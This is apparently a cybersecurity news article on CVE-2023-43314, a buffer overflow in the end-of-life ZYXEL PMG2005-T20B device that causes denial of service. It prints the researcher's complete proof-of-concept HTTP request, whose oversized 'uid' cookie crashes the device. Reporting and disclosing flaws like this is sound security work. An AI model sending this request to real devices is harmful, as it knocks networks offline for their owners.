Cyber Security News

ZYXEL Buffer Overflow vulnerability Let Attacker Launch DoS Attack

ZYXEL has been discovered with a Buffer Overflow vulnerability on their ZYXEL-PMG2005-T20B device, which can result in a denial-of-service condition. This condition exists due to improper sanitization of user-supplied input on their HTTP request.

Zyxel is a Taiwanese multinational company that manufactures several networking products like Routers, DSL CPE, WiFi Systems, 5G NR/4G LTE CPE, Carrier and Access Switches, Network Extenders, and Network Management devices.

Technical Analysis

A threat actor can exploit this vulnerability by providing a crafted script to the uid parameter in the cgi-bin/login.asp, leading to a Buffer Overflow, eventually causing the DoS condition. This vulnerability has been assigned with the CVE as CVE-2023-43314, and the severity is being analyzed.

This vulnerability arises in the ZYXEL-PMG2005-T20B product when the number of admin in the uid exceeds the maximum threshold of 50, which crashes the application when parsed in the backend. Additionally, the COOKIE header in the HTTP request is supplied with a SESSIONID parameter for creating a valid session with the ZYXEL product.

However, further analysis revealed that the ZYXEL-PMG2005-T20B product has reached End-of-Life as per the ZyXEL website. 

End-of-Life (Source: Cyber Security News)

The researcher created an HTTP request to replicate this vulnerability with the following parameters and values.

GET /cgi-bin/index.asp HTTP/1.1
Host: {HOST IP}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://{HOST IP}/cgi-bin/login.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSIONID=4450a48a; uid=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin; psw=1234
Connection: close

This request to the ZyXEL product causes the Buffer Overflow due to the number of admin thresholds resulting in the Denial of Service condition. In addition to this, more than 20 URLs were listed by the security researcher, which were affected by the same vulnerability.

A GitHub repository, along with the proof-of-concept was published, which provides detailed information about this vulnerability, its existence, and other information. 

Users of this ZyXEL product are recommended to upgrade to the latest version of the product in order to prevent this vulnerability from getting exploited.

Protect yourself from vulnerabilities using Patch Manager Plus to quickly patch over 850 third-party applications. Take advantage of the free trial to ensure 100% security.

Eswar

Eswar is a Cyber security content editor with a passion for creating captivating and informative content. With years of experience under his belt in Cyber Security, he is covering Cyber Security News, technology and other news.

Recent Posts

PrestaShop Website Under Injection Attack Via Facebook Module

A critical vulnerability has been discovered in the "Facebook" module (pkfacebook) from Promokit.eu for PrestaShop. The vulnerability, CVE-2024-36680, allows a…

1 day ago

Beware Of Illegal OTT Platforms That Exposes Sensitive Personal Information

A recent rise in data breaches from illegal Chinese OTT platforms exposes that user information, including names and financial details,…

1 day ago

Beware Of Zergeca Botnet with Advanced Scanning & Persistence Features

A new botnet named Zergeca has emerged, showcasing advanced capabilities that set it apart from typical Distributed Denial of Service…

1 day ago

Mailcow Mail Server Vulnerability Let Attackers Execute Remote Code

Two critical vulnerabilities (CVE-2024-31204 and CVE-2024-30270) affecting Mailcow versions before 2024-04 allow attackers to execute arbitrary code on the server.…

1 day ago

Hackers Attacking Vaults, Buckets, And Secrets To Steal Data

Hackers target vaults, buckets, and secrets to access some of the most classified and valuable information, including API keys, logins,…

1 day ago

Hackers Weaponizing Windows Shortcut Files for Phishing

LNK files, a shortcut file type in Windows OS, provide easy access to programs, folders, or websites. Created automatically during…

1 day ago